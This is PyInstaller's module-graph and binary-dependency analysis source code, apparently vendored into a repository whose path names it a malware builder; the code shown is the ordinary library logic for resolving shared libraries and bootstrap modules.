            ["require"],  # Requires metadata for all dependencies.
        )

        # importlib.metadata is often `import ... as`  aliased to importlib_metadata for compatibility with < py38.
        # Assume both are valid.
        for importlib_metadata in ["importlib.metadata", "importlib_metadata"]:
            out |= self._metadata_from(
                importlib_metadata,
                ["metadata", "distribution", "version", "files", "requires"],
                [],
            )

        return out

    def _metadata_from(self, package, methods=(), recursive_methods=()) -> set:
        """
        Collect metadata whose requirements are implied by given function names.

        Args:
            package:
                The module name that must be imported in a source file to trigger the search.
            methods:
                Function names from **package** which take a distribution name as an argument and imply that metadata
                is required for that distribution.
            recursive_methods:
                Like **methods** but also implies that a distribution's dependencies' metadata must be collected too.
        Returns:
            Required metadata in hook data ``(source, dest)`` format as returned by
            :func:`PyInstaller.utils.hooks.copy_metadata()`.

        Scan all source code to be included for usage of particular *key* functions which imply that that code will
        require metadata for some distribution (which may not be its own) at runtime. In the case of a match,
        collect the required metadata.
        """
        from PyInstaller.utils.hooks import copy_metadata
        from PyInstaller.compat import importlib_metadata

        # Generate sets of possible function names to search for.
        need_metadata = set()
        need_recursive_metadata = set()
        for method in methods:
            need_metadata.update(bytecode.any_alias(package + "." + method))
        for method in recursive_methods:
            need_recursive_metadata.update(bytecode.any_alias(package + "." + method))

        out = set()

        for name, code in self.get_code_using(package).items():
            for calls in bytecode.recursive_function_calls(code).values():
                for function_name, args in calls:
                    # Only consider function calls taking one argument.
                    if len(args) != 1:
                        continue
                    package = args[0]
                    try:
                        if function_name in need_metadata:
                            out.update(copy_metadata(package))
                        elif function_name in need_recursive_metadata:
                            out.update(copy_metadata(package, recursive=True))

                    except importlib_metadata.PackageNotFoundError:
                        # Currently, we opt to silently skip over missing metadata.
                        continue

        return out

    def get_collected_packages(self) -> list:
        """
        Return the list of collected python packages.
        """
        # `node.identifier` might be an instance of `modulegraph.Alias`, hence explicit conversion to `str`.
        return [
            str(node.identifier) for node in self.iter_graph(start=self._top_script_node)
            if type(node).__name__ == 'Package'
        ]

    def make_hook_binaries_toc(self) -> list:
        """
        Return the TOC list of binaries collected by hooks."
        """
        toc = []
        for node in self.iter_graph(start=self._top_script_node):
            module_name = str(node.identifier)
            for dest_name, src_name in self._additional_files_cache.binaries(module_name):
                toc.append((dest_name, src_name, 'BINARY'))

        return toc

    def make_hook_datas_toc(self) -> list:
        """
        Return the TOC list of data files collected by hooks."
        """
        toc = []
        for node in self.iter_graph(start=self._top_script_node):
            module_name = str(node.identifier)
            for dest_name, src_name in self._additional_files_cache.datas(module_name):
                toc.append((dest_name, src_name, 'DATA'))

        return toc


_cached_module_graph_ = None


def initialize_modgraph(excludes=(), user_hook_dirs=()):
    """
    Create the cached module graph.

    This function might appear weird but is necessary for speeding up test runtime because it allows caching basic
    ModuleGraph object that gets created for 'base_library.zip'.

    Parameters
    ----------
    excludes : list
        List of the fully-qualified names of all modules to be "excluded" and hence _not_ frozen into the executable.
    user_hook_dirs : list
        List of the absolute paths of all directories containing user-defined hooks for the current application or
        `None` if no such directories were specified.

    Returns
    ----------
    PyiModuleGraph
        Module graph with core dependencies.
    """
    # Normalize parameters to ensure tuples and make comparison work.
    user_hook_dirs = user_hook_dirs or ()
    excludes = excludes or ()

    # If there is a graph cached with the same excludes, reuse it. See ``PyiModulegraph._reset()`` for what is
    # reset. This cache is used primarily to speed up the test-suite. Fixture `pyi_modgraph` calls this function with
    # empty excludes, creating a graph suitable for the huge majority of tests.
    global _cached_module_graph_
    if _cached_module_graph_ and _cached_module_graph_._excludes == excludes:
        logger.info('Reusing cached module dependency graph...')
        graph = deepcopy(_cached_module_graph_)
        graph._reset(user_hook_dirs)
        return graph

    logger.info('Initializing module dependency graph...')

    # Construct the initial module graph by analyzing all import statements.
    graph = PyiModuleGraph(
        HOMEPATH,
        excludes=excludes,
        # get_implies() are hidden imports known by modulgraph.
        implies=get_implies(),
        user_hook_dirs=user_hook_dirs,
    )

    if not _cached_module_graph_:
        # Only cache the first graph, see above for explanation.
        logger.info('Caching module dependency graph...')
        # cache a deep copy of the graph
        _cached_module_graph_ = deepcopy(graph)
        # Clear data which does not need to be copied from the cached graph since it will be reset by
        # ``PyiModulegraph._reset()`` anyway.
        _cached_module_graph_._hooks = None
        _cached_module_graph_._hooks_pre_safe_import_module = None
        _cached_module_graph_._hooks_pre_find_module_path = None

    return graph


def get_bootstrap_modules():
    """
    Get TOC with the bootstrapping modules and their dependencies.
    :return: TOC with modules
    """
    # Import 'struct' modules to get real paths to module file names.
    mod_struct = __import__('struct')
    # Basic modules necessary for the bootstrap process.
    loader_mods = list()
    loaderpath = os.path.join(HOMEPATH, 'PyInstaller', 'loader')
    # On some platforms (Windows, Debian/Ubuntu) '_struct' and zlib modules are built-in modules (linked statically)
    # and thus does not have attribute __file__. 'struct' module is required for reading Python bytecode from
    # executable. 'zlib' is required to decompress this bytecode.
    for mod_name in ['_struct', 'zlib']:
        mod = __import__(mod_name)  # C extension.
        if hasattr(mod, '__file__'):
            mod_file = os.path.abspath(mod.__file__)
            if os.path.basename(os.path.dirname(mod_file)) == 'lib-dynload':
                # Divert extensions originating from python's lib-dynload directory, to match behavior of #5604.
                mod_name = os.path.join('lib-dynload', mod_name)
            loader_mods.append(add_suffix_to_extension(mod_name, mod_file, 'EXTENSION'))
    loader_mods.append(('struct', os.path.abspath(mod_struct.__file__), 'PYMODULE'))
    # Loader/bootstrap modules.
    # NOTE: These modules should be kept simple without any complicated dependencies.
    loader_mods += [
        ('pyimod01_archive', os.path.join(loaderpath, 'pyimod01_archive.py'), 'PYMODULE'),
        ('pyimod02_importers', os.path.join(loaderpath, 'pyimod02_importers.py'), 'PYMODULE'),
        ('pyimod03_ctypes', os.path.join(loaderpath, 'pyimod03_ctypes.py'), 'PYMODULE'),
    ]
    if is_win:
        loader_mods.append(('pyimod04_pywin32', os.path.join(loaderpath, 'pyimod04_pywin32.py'), 'PYMODULE'))
    # The bootstrap script
    loader_mods.append(('pyiboot01_bootstrap', os.path.join(loaderpath, 'pyiboot01_bootstrap.py'), 'PYSOURCE'))
    return loader_mods

ThiefCat_assets/MwlareBuilder/depend/analysis.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Find external dependencies of binary libraries.
"""

import ctypes.util
import os
import pathlib
import re
import sys
import sysconfig
import subprocess

from PyInstaller import compat
from PyInstaller import log as logging
from PyInstaller.depend import dylib, utils
from PyInstaller.utils.win32 import winutils

if compat.is_darwin:
    import PyInstaller.utils.osx as osxutils

logger = logging.getLogger(__name__)

_exe_machine_type = None
if compat.is_win:
    _exe_machine_type = winutils.get_pe_file_machine_type(compat.python_executable)

#- High-level binary dependency analysis


def _get_paths_for_parent_directory_preservation():
    """
    Return list of paths that serve as prefixes for parent-directory preservation of collected binaries and/or
    shared libraries. If a binary is collected from a location that starts with a path from this list, the relative
    directory structure is preserved within the frozen application bundle; otherwise, the binary is collected to the
    frozen application's top-level directory.
    """

    # Use only site-packages paths. We have no control over contents of `sys.path`, so using all paths from that may
    # lead to unintended behavior in corner cases. For example, if `sys.path` contained the drive root (see #7028),
    # all paths that do not match some other sub-path rooted in that drive will end up recognized as relative to the
    # drive root. In such case, any DLL collected from `c:\Windows\system32` will be collected into `Windows\system32`
    # sub-directory; ucrt DLLs collected from MSVC or Windows SDK installed in `c:\Program Files\...` will end up
    # collected into `Program Files\...` subdirectory; etc.
    #
    # On the other hand, the DLL parent directory preservation is primarily aimed at packages installed via PyPI
    # wheels, which are typically installed into site-packages. Therefore, limiting the directory preservation for
    # shared libraries collected from site-packages should do the trick, and should be reasonably safe.
    import site

    orig_paths = site.getsitepackages()
    orig_paths.append(site.getusersitepackages())

    # Explicitly excluded paths. `site.getsitepackages` seems to include `sys.prefix`, which we need to exclude, to
    # avoid issue swith DLLs in its sub-directories.
    excluded_paths = {
        pathlib.Path(sys.base_prefix).resolve(),
        pathlib.Path(sys.prefix).resolve(),
    }

    # For each path in orig_paths, append a resolved variant. This helps with linux venv where we need to consider
    # both `venv/lib/python3.11/site-packages` and `venv/lib/python3.11/site-packages` and `lib64` is a symlink
    # to `lib`.
    orig_paths += [pathlib.Path(path).resolve() for path in orig_paths]

    paths = set()
    for path in orig_paths:
        if not path:
            continue
        path = pathlib.Path(path)
        # Filter out non-directories (e.g., /path/to/python3x.zip) or non-existent paths
        if not path.is_dir():
            continue
        # Filter out explicitly excluded paths
        if path in excluded_paths:
            continue
        paths.add(path)

    # Sort by length (in term of path components) to ensure match against the longest common prefix (for example, match
    # /path/to/venv/lib/site-packages instead of /path/to/venv when both paths are in site paths).
    paths = sorted(paths, key=lambda x: len(x.parents), reverse=True)

    return paths


def _select_destination_directory(src_filename, parent_dir_preservation_paths):
    # Check parent directory preservation paths
    for parent_dir_preservation_path in parent_dir_preservation_paths:
        if parent_dir_preservation_path in src_filename.parents:
            # Collect into corresponding sub-directory.
            return src_filename.relative_to(parent_dir_preservation_path)

    # Collect into top-level directory.
    return src_filename.name


def binary_dependency_analysis(binaries, search_paths=None):
    """
    Perform binary dependency analysis on the given TOC list of collected binaries, by recursively scanning each binary
    for linked dependencies (shared library imports). Returns new TOC list that contains both original entries and their
    binary dependencies.

    Additional search paths for dependencies' full path resolution may be supplied via optional argument.
    """

    # Get all path prefixes for binaries' parent-directory preservation. For binaries collected from packages in (for
    # example) site-packages directory, we should try to preserve the parent directory structure.
    parent_dir_preservation_paths = _get_paths_for_parent_directory_preservation()

    # Keep track of processed binaries and processed dependencies.
    processed_binaries = set()
    processed_dependencies = set()

    # Keep track of unresolved dependencies, in order to defer the missing-library warnings until after everything has
    # been processed. This allows us to suppress warnings for dependencies that end up being collected anyway; for
    # details, see the end of this function.
    missing_dependencies = []

    # Populate output TOC with input binaries - this also serves as TODO list, as we iterate over it while appending
    # new entries at the end.
    output_toc = binaries[:]
    for dest_name, src_name, typecode in output_toc:
        # Do not process symbolic links (already present in input TOC list, or added during analysis below).
        if typecode == 'SYMLINK':
            continue

        # Keep track of processed binaries, to avoid unnecessarily repeating analysis of the same file. Use pathlib.Path
        # to avoid having to worry about case normalization.
        src_path = pathlib.Path(src_name)
        if src_path in processed_binaries:
            continue
        processed_binaries.add(src_path)

        logger.debug("Analyzing binary %r", src_name)

        # Analyze imports (linked dependencies)
        for dep_name, dep_src_path in get_imports(src_name, search_paths):
            logger.debug("Processing dependency, name: %r, resolved path: %r", dep_name, dep_src_path)

            # Skip unresolved dependencies. Defer the missing-library warnings until after binary dependency analysis
            # is complete.
            if not dep_src_path:
                missing_dependencies.append((dep_name, src_name))
                continue

            # Compare resolved dependency against global inclusion/exclusion rules.
            if not dylib.include_library(dep_src_path):
                logger.debug("Skipping dependency %r due to global exclusion rules.", dep_src_path)
                continue

            dep_src_path = pathlib.Path(dep_src_path)  # Turn into pathlib.Path for subsequent processing

            # Avoid processing this dependency if we have already processed it.
            if dep_src_path in processed_dependencies:
                logger.debug("Skipping dependency %r due to prior processing.", str(dep_src_path))
                continue
            processed_dependencies.add(dep_src_path)

            # Try to preserve parent directory structure, if applicable.
            # NOTE: do not resolve the source path, because on macOS and linux, it may be a versioned .so (e.g.,
            # libsomething.so.1, pointing at libsomething.so.1.2.3), and we need to collect it under original name!
            dep_dest_path = _select_destination_directory(dep_src_path, parent_dir_preservation_paths)
            dep_dest_path = pathlib.PurePath(dep_dest_path)  # Might be a str() if it is just a basename...

            # If we are collecting library into top-level directory on macOS, check whether it comes from a
            # .framework bundle. If it does, re-create the .framework bundle in the top-level directory
            # instead.
            if compat.is_darwin and dep_dest_path.parent == pathlib.PurePath('.'):
                if osxutils.is_framework_bundle_lib(dep_src_path):
                    # dst_src_path is parent_path/Name.framework/Versions/Current/Name
                    framework_parent_path = dep_src_path.parent.parent.parent.parent
                    dep_dest_path = pathlib.PurePath(dep_src_path.relative_to(framework_parent_path))

            logger.debug("Collecting dependency %r as %r.", str(dep_src_path), str(dep_dest_path))
            output_toc.append((str(dep_dest_path), str(dep_src_path), 'BINARY'))

            # On non-Windows, if we are not collecting the binary into application's top-level directory ('.'),
            # add a symbolic link from top-level directory to the actual location. This is to accommodate
            # LD_LIBRARY_PATH being set to the top-level application directory on linux (although library search
            # should be mostly done via rpaths, so this might be redundant) and to accommodate library path
            # rewriting on macOS, which assumes that the library was collected into top-level directory.
            if not compat.is_win and dep_dest_path.parent != pathlib.PurePath('.'):
                logger.debug("Adding symbolic link from %r to top-level application directory.", str(dep_dest_path))
                output_toc.append((str(dep_dest_path.name), str(dep_dest_path), 'SYMLINK'))

    # Display warnings about missing dependencies
    seen_binaries = set([
        os.path.normcase(os.path.basename(src_name)) for dest_name, src_name, typecode in output_toc
        if typecode != 'SYMLINK'
    ])
    for dependency_name, referring_binary in missing_dependencies:
        # Ignore libraries that we would not collect in the first place.
        if not dylib.include_library(dependency_name):
            continue
        # Apply global warning suppression rules.
        if not dylib.warn_missing_lib(dependency_name):
            continue
        # If the binary with a matching basename happens to be among the discovered binaries, suppress the message as
        # well. This might happen either because the library was collected by some other mechanism (for example, via
        # hook, or supplied by the user), or because it was discovered during the analysis of another binary (which,
        # for example, had properly set run-paths on Linux/macOS or was located next to that other analyzed binary on
        # Windows).
        if os.path.normcase(os.path.basename(dependency_name)) in seen_binaries:
            continue
        logger.warning("Library not found: could not resolve %r, dependency of %r.", dependency_name, referring_binary)

    return output_toc


#- Low-level import analysis


def get_imports(filename, search_paths=None):
    """
    Analyze the given binary file (shared library or executable), and obtain the list of shared libraries it imports
    (i.e., link-time dependencies).

    Returns set of tuples (name, fullpath). The name component is the referenced name, and on macOS, may not be just
    a base name. If the library's full path cannot be resolved, fullpath element is None.

    Additional list of search paths may be specified via `search_paths`, to be used as a fall-back when the
    platform-specific resolution mechanism fails to resolve a library fullpath.
    """
    if compat.is_win:
        if filename.lower().endswith(".manifest"):
            return []
        return _get_imports_pefile(filename, search_paths)
    elif compat.is_darwin:
        return _get_imports_macholib(filename, search_paths)
    else:
        return _get_imports_ldd(filename, search_paths)


def _get_imports_pefile(filename, search_paths):
    """
    Windows-specific helper for `get_imports`, which uses the `pefile` library to walk through PE header.
    """
    import pefile

    output = set()

    # By default, pefile library parses all PE information. We are only interested in the list of dependent dlls.
    # Performance is improved by reading only needed information. https://code.google.com/p/pefile/wiki/UsageExamples
    pe = pefile.PE(filename, fast_load=True)
    pe.parse_data_directories(
        directories=[
            pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_IMPORT'],
            pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_EXPORT'],
        ],
        forwarded_exports_only=True,
        import_dllnames_only=True,
    )

    # If a library has no binary dependencies, pe.DIRECTORY_ENTRY_IMPORT does not exist.
    for entry in getattr(pe, 'DIRECTORY_ENTRY_IMPORT', []):
        dll_str = entry.dll.decode('utf-8')
        output.add(dll_str)

    # We must also read the exports table to find forwarded symbols:
    # http://blogs.msdn.com/b/oldnewthing/archive/2006/07/19/671238.aspx
    exported_symbols = getattr(pe, 'DIRECTORY_ENTRY_EXPORT', None)
    if exported_symbols:
        for symbol in exported_symbols.symbols:
            if symbol.forwarder is not None:
                # symbol.forwarder is a bytes object. Convert it to a string.
                forwarder = symbol.forwarder.decode('utf-8')
                # symbol.forwarder is for example 'KERNEL32.EnterCriticalSection'
                dll = forwarder.split('.')[0]
                output.add(dll + ".dll")

    pe.close()

    # Attempt to resolve full paths to referenced DLLs. Always add the input binary's parent directory to the search
    # paths.
    search_paths = [os.path.dirname(filename)] + (search_paths or [])
    output = {(lib, resolve_library_path(lib, search_paths)) for lib in output}

    return output


def _get_imports_ldd(filename, search_paths):
    """
    Helper for `get_imports`, which uses `ldd` to analyze shared libraries. Used on Linux and other POSIX-like platforms
    (with exception of macOS).
    """

    output = set()

    # Output of ldd varies between platforms...
    if compat.is_aix:
        # Match libs of the form
        #   'archivelib.a(objectmember.so/.o)'
        # or
        #   'sharedlib.so'
        # Will not match the fake lib '/unix'
        LDD_PATTERN = re.compile(r"^\s*(((?P<libarchive>(.*\.a))(?P<objectmember>\(.*\)))|((?P<libshared>(.*\.so))))$")
    elif compat.is_hpux:
        # Match libs of the form
        #   'sharedlib.so => full-path-to-lib
        # e.g.
        #   'libpython2.7.so =>      /usr/local/lib/hpux32/libpython2.7.so'
        LDD_PATTERN = re.compile(r"^\s+(.*)\s+=>\s+(.*)$")
    elif compat.is_solar:
        # Match libs of the form
        #   'sharedlib.so => full-path-to-lib
        # e.g.
        #   'libpython2.7.so.1.0 => /usr/local/lib/libpython2.7.so.1.0'
        # Will not match the platform specific libs starting with '/platform'
        LDD_PATTERN = re.compile(r"^\s+(.*)\s+=>\s+(.*)$")
    else:
        LDD_PATTERN = re.compile(r"\s*(.*?)\s+=>\s+(.*?)\s+\(.*\)")

    p = subprocess.run(
        ['ldd', filename],
        stdin=subprocess.DEVNULL,
        stderr=subprocess.PIPE,
        stdout=subprocess.PIPE,
        universal_newlines=True,
    )

    for line in p.stderr.splitlines():
        if not line:
            continue
        # Python extensions (including stdlib ones) are not linked against python.so but rely on Python's symbols having
        # already been loaded into symbol space at runtime. musl's ldd issues a series of harmless warnings to stderr
        # telling us that those symbols are unfindable. These should be suppressed.
        elif line.startswith("Error relocating ") and line.endswith(" symbol not found"):
            continue
        # Propagate any other warnings it might have.
        print(line, file=sys.stderr)

    for line in p.stdout.splitlines():
        name = None  # Referenced name
        lib = None  # Resolved library path

        m = LDD_PATTERN.search(line)
        if m:
            if compat.is_aix:
                libarchive = m.group('libarchive')
                if libarchive:
                    # We matched an archive lib with a request for a particular embedded shared object.
                    #   'archivelib.a(objectmember.so/.o)'
                    lib = libarchive
                    name = os.path.basename(lib) + m.group('objectmember')
                else:
                    # We matched a stand-alone shared library.
                    #   'sharedlib.so'
                    lib = m.group('libshared')
                    name = os.path.basename(lib)
            elif compat.is_hpux:
                name, lib = m.group(1), m.group(2)
            else:
                name, lib = m.group(1), m.group(2)
            if name[:10] in ('linux-gate', 'linux-vdso'):
                # linux-gate is a fake library which does not exist and should be ignored. See also:
                # http://www.trilithium.com/johan/2005/08/linux-gate/
                continue

            if compat.is_cygwin:
                # exclude Windows system library
                if lib.lower().startswith('/cygdrive/c/windows/system'):
                    continue

            # Reset library path if it does not exist
            if not os.path.exists(lib):
                lib = None
        elif line.endswith("not found"):
            # On glibc-based linux distributions, missing libraries are marked with name.so => not found
            tokens = line.split('=>')
            if len(tokens) != 2:
                continue
            name = tokens[0].strip()
            lib = None
        else:
            # TODO: should we warn about unprocessed lines?
            continue

        # Fall back to searching the supplied search paths, if any.
        if not lib:
            lib = _resolve_library_path_in_search_paths(
                os.path.basename(name),  # Search for basename of the referenced name.
                search_paths,
            )

        # Normalize the resolved path, to remove any extraneous "../" elements.
        if lib:
            lib = os.path.normpath(lib)

        # Return referenced name as-is instead of computing a basename, to provide additional context when library
        # cannot be resolved.
        output.add((name, lib))

    return output


def _get_imports_macholib(filename, search_paths):
    """
    macOS-specific helper for `get_imports`, which uses `macholib` to analyze library load commands in Mach-O headers.
    """
    from macholib.dyld import dyld_find
    from macholib.mach_o import LC_RPATH
    from macholib.MachO import MachO

    output = set()
    referenced_libs = set()  # Libraries referenced in Mach-O headers.

    # Parent directory of the input binary and parent directory of python executable, used to substitute @loader_path
    # and @executable_path. The MacOS dylib loader (dyld) fully resolves the symbolic links when using @loader_path
    # and @executable_path references, so we need to do the same using `os.path.realpath`.
    bin_path = os.path.dirname(os.path.realpath(filename))
    python_bin_path = os.path.dirname(os.path.realpath(sys.executable))

    # Walk through Mach-O headers, and collect all referenced libraries.
    m = MachO(filename)
    for header in m.headers:
        for idx, name, lib in header.walkRelocatables():
            referenced_libs.add(lib)

    # Find LC_RPATH commands to collect rpaths. macholib does not handle @rpath, so we need to handle run paths
    # ourselves.
    run_paths = set()
    for header in m.headers:
        for command in header.commands:
            # A command is a tuple like:
            #   (<macholib.mach_o.load_command object at 0x>,
            #    <macholib.mach_o.rpath_command object at 0x>,
            #    '../lib\x00\x00')
            cmd_type = command[0].cmd
            if cmd_type == LC_RPATH:
                rpath = command[2].decode('utf-8')
                # Remove trailing '\x00' characters. E.g., '../lib\x00\x00'
                rpath = rpath.rstrip('\x00')
                # If run path starts with @, ensure it starts with either @loader_path or @executable_path. We cannot
                # process anything else.
                if rpath.startswith("@") and not rpath.startswith(("@executable_path", "@loader_path")):
                    logger.warning("Unsupported rpath format %r found in binary %r - ignoring...", rpath, filename)
                    continue
                run_paths.add(rpath)

    # For distributions like Anaconda, all of the dylibs are stored in the lib directory of the Python distribution, not
    # alongside of the .so's in each module's subdirectory. Usually, libraries using @rpath to reference their
    # dependencies also set up their run-paths via LC_RPATH commands. However, they are not strictly required to do so,
    # because run-paths are inherited from the process within which the libraries are loaded. Therefore, if the python
    # executable uses an LC_RPATH command to set up run-path that resolves the shared lib directory (for example,
    # `@loader_path/../lib` in case of the Anaconda python), all libraries loaded within the python process are able
    # to resolve the shared libraries within the environment's shared lib directory without using LC_RPATH commands
    # themselves.
    #
    # Our analysis does not account for inherited run-paths, and we attempt to work around this limitation by
    # registering the following fall-back run-path.
    run_paths.add(os.path.join(compat.base_prefix, 'lib'))

    def _resolve_using_loader_path(lib, bin_path, python_bin_path):
        # macholib does not support @loader_path, so replace it with @executable_path. Strictly speaking, @loader_path
        # should be anchored to parent directory of analyzed binary (`bin_path`), while @executable_path should be
        # anchored to the parent directory of the process' executable. Typically, this would be python executable
        # (`python_bin_path`), unless we are analyzing a collected 3rd party executable. In that case, `bin_path`
        # is correct option. So we first try resolving using `bin_path`, and then fall back to `python_bin_path`.
        # This does not account for transitive run paths of higher-order dependencies, but there is only so much we
        # can do here...
        if lib.startswith('@loader_path'):
            lib = lib.replace('@loader_path', '@executable_path')

        try:
            # Try resolving with binary's path first...
            return dyld_find(lib, executable_path=bin_path)
        except ValueError:
            # ... and fall-back to resolving with python executable's path
            try:
                return dyld_find(lib, executable_path=python_bin_path)
            except ValueError:
                return None

    def _resolve_using_path(lib):
        try:
            return dyld_find(lib)
        except ValueError:
            return None

    # Try to resolve full path of the referenced libraries.
    for referenced_lib in referenced_libs:
        resolved_lib = None

        # If path starts with @rpath, we have to handle it ourselves.
        if referenced_lib.startswith('@rpath'):
            lib = os.path.join(*referenced_lib.split(os.sep)[1:])  # Remove the @rpath/ prefix

            # Try all run paths.
            for run_path in run_paths:
                # Join the path.
                lib_path = os.path.join(run_path, lib)

                if lib_path.startswith(("@executable_path", "@loader_path")):
                    # Run path starts with @executable_path or @loader_path.
                    lib_path = _resolve_using_loader_path(lib_path, bin_path, python_bin_path)
                else:
                    # If run path was relative, anchor it to binary's location.
                    if not os.path.isabs(lib_path):
                        os.path.join(bin_path, lib_path)
                    lib_path = _resolve_using_path(lib_path)

                if lib_path and os.path.exists(lib_path):
                    resolved_lib = lib_path
                    break
        else:
            if referenced_lib.startswith(("@executable_path", "@loader_path")):
                resolved_lib = _resolve_using_loader_path(referenced_lib, bin_path, python_bin_path)
            else:
                resolved_lib = _resolve_using_path(referenced_lib)

        # Fall back to searching the supplied search paths, if any.
        if not resolved_lib:
            resolved_lib = _resolve_library_path_in_search_paths(
                os.path.basename(referenced_lib),  # Search for basename of the referenced name.
                search_paths,
            )

        # Normalize the resolved path, to remove any extraneous "../" elements.
        if resolved_lib:
            resolved_lib = os.path.normpath(resolved_lib)

        # Return referenced library name as-is instead of computing a basename. Full referenced name carries additional
        # information that might be useful for the caller to determine how to deal with unresolved library (e.g., ignore
        # unresolved libraries that are supposed to be located in system-wide directories).
        output.add((referenced_lib, resolved_lib))

    return output


#- Library full path resolution


def resolve_library_path(name, search_paths=None):
    """
    Given a library name, attempt to resolve full path to that library. The search for library is done via
    platform-specific mechanism and fall back to optionally-provided list of search paths. Returns None if library
    cannot be resolved. If give library name is already an absolute path, the given path is returned without any
    processing.
    """
    # No-op if path is already absolute.
    if os.path.isabs(name):
        return name

    if compat.is_unix:
        # Use platform-specific helper.
        fullpath = _resolve_library_path_unix(name)
        if fullpath:
            return fullpath
        # Fall back to searching the supplied search paths, if any
        return _resolve_library_path_in_search_paths(name, search_paths)
    elif compat.is_win:
        # Try the caller-supplied search paths, if any.
        fullpath = _resolve_library_path_in_search_paths(name, search_paths)
        if fullpath:
            return fullpath

        # Fall back to default Windows search paths, using the PATH environment variable (which should also include
        # the system paths, such as c:\windows and c:\windows\system32)
        win_search_paths = [path for path in compat.getenv('PATH', '').split(os.pathsep) if path]
        return _resolve_library_path_in_search_paths(name, win_search_paths)
    else:
        return ctypes.util.find_library(name)

    return None


# Compatibility aliases for hooks from contributed hooks repository. All of these now point to the high-level
# `resolve_library_path`.
findLibrary = resolve_library_path
findSystemLibrary = resolve_library_path


def _resolve_library_path_in_search_paths(name, search_paths=None):
    """
    Low-level helper for resolving given library name to full path in given list of search paths.
    """
    for search_path in search_paths or []:
        fullpath = os.path.join(search_path, name)
        if not os.path.isfile(fullpath):
            continue

        # On Windows, ensure that architecture matches that of running python interpreter.
        if compat.is_win:
            try:
                dll_machine_type = winutils.get_pe_file_machine_type(fullpath)
            except Exception:
                # A search path might contain a DLL that we cannot analyze; for example, a stub file. Skip over.
                continue
            if dll_machine_type != _exe_machine_type:
                continue

        return os.path.normpath(fullpath)

    return None


def _resolve_library_path_unix(name):
    """
    UNIX-specific helper for resolving library path.

    Emulates the algorithm used by dlopen. `name` must include the prefix, e.g., ``libpython2.4.so``.
    """
    assert compat.is_unix, "Current implementation for Unix only (Linux, Solaris, AIX, FreeBSD)"

    # Look in the LD_LIBRARY_PATH according to platform.
    if compat.is_aix:
        lp = compat.getenv('LIBPATH', '')
    elif compat.is_darwin:
        lp = compat.getenv('DYLD_LIBRARY_PATH', '')
    else:
        lp = compat.getenv('LD_LIBRARY_PATH', '')
    lib = _which_library(name, filter(None, lp.split(os.pathsep)))

    # Look in /etc/ld.so.cache
    # Solaris does not have /sbin/ldconfig. Just check if this file exists.
    if lib is None:
        utils.load_ldconfig_cache()
        lib = utils.LDCONFIG_CACHE.get(name)
        if lib:
            assert os.path.isfile(lib)

    # Look in the known safe paths.
    if lib is None:
        # Architecture independent locations.
        paths = ['/lib', '/usr/lib']
        # Architecture dependent locations.
        if compat.architecture == '32bit':
            paths.extend(['/lib32', '/usr/lib32'])
        else:
            paths.extend(['/lib64', '/usr/lib64'])
        # Machine dependent locations.
        if compat.machine == 'intel':
            if compat.architecture == '32bit':
                paths.extend(['/usr/lib/i386-linux-gnu'])
            else:
                paths.extend(['/usr/lib/x86_64-linux-gnu'])

        # On Debian/Ubuntu /usr/bin/python is linked statically with libpython. Newer Debian/Ubuntu with multiarch
        # support puts the libpythonX.Y.so in paths like /usr/lib/i386-linux-gnu/. Try to query the arch-specific
        # sub-directory, if available.
        arch_subdir = sysconfig.get_config_var('multiarchsubdir')
        if arch_subdir:
            arch_subdir = os.path.basename(arch_subdir)
            paths.append(os.path.join('/usr/lib', arch_subdir))
        else:
            logger.debug('Multiarch directory not detected.')

        # Termux (a Ubuntu like subsystem for Android) has an additional libraries directory.
        if os.path.isdir('/data/data/com.termux/files/usr/lib'):
            paths.append('/data/data/com.termux/files/usr/lib')

        if compat.is_aix:
            paths.append('/opt/freeware/lib')
        elif compat.is_hpux:
            if compat.architecture == '32bit':
                paths.append('/usr/local/lib/hpux32')
            else:
                paths.append('/usr/local/lib/hpux64')
        elif compat.is_freebsd or compat.is_openbsd:
            paths.append('/usr/local/lib')
        lib = _which_library(name, paths)

    # Give up :(
    if lib is None:
        return None

    # Resolve the file name into the soname
    if compat.is_freebsd or compat.is_aix or compat.is_openbsd:
        # On FreeBSD objdump does not show SONAME, and on AIX objdump does not exist, so we just return the lib we
        # have found.
        return lib
    else:
        dir = os.path.dirname(lib)
        return os.path.join(dir, _get_so_name(lib))


def _which_library(name, dirs):
    """
    Search for a shared library in a list of directories.

    Args:
        name:
            The library name including the `lib` prefix but excluding any `.so` suffix.
        dirs:
            An iterable of folders to search in.
    Returns:
        The path to the library if found or None otherwise.

    """
    matcher = _library_matcher(name)
    for path in filter(os.path.exists, dirs):
        for _path in os.listdir(path):
            if matcher(_path):
                return os.path.join(path, _path)


def _library_matcher(name):
    """
    Create a callable that matches libraries if **name** is a valid library prefix for input library full names.
    """
    return re.compile(name + r"[0-9]*\.").match


def _get_so_name(filename):
    """
    Return the soname of a library.

    Soname is useful when there are multiple symplinks to one library.
    """
    # TODO verify that objdump works on other unixes and not Linux only.
    cmd = ["objdump", "-p", filename]
    pattern = r'\s+SONAME\s+([^\s]+)'
    if compat.is_solar:
        cmd = ["elfdump", "-d", filename]
        pattern = r'\s+SONAME\s+[^\s]+\s+([^\s]+)'
    m = re.search(pattern, compat.exec_command(*cmd))
    return m.group(1)


#- Python shared library search


def get_python_library_path():
    """
    Find dynamic Python library that will be bundled with frozen executable.

    NOTE: This is a fallback option when the Python executable is likely statically linked with the Python library and
          we need to search more for it. For example, this is the case on Debian/Ubuntu.

    Return  full path to Python dynamic library or None when not found.

    We need to know name of the Python dynamic library for the bootloader. Bootloader has to know what library to
    load and not try to guess.

    Some linux distributions (e.g. debian-based) statically link the Python executable to the libpython,
    so bindepend does not include it in its output. In this situation let's try to find it.

    Custom Mac OS builds could possibly also have non-framework style libraries, so this method also checks for that
    variant as well.
    """
    def _find_lib_in_libdirs(*libdirs):
        for libdir in libdirs:
            for name in compat.PYDYLIB_NAMES:
                full_path = os.path.join(libdir, name)
                if not os.path.exists(full_path):
                    continue
                # Resolve potential symbolic links to achieve consistent results with linker-based search; e.g., on
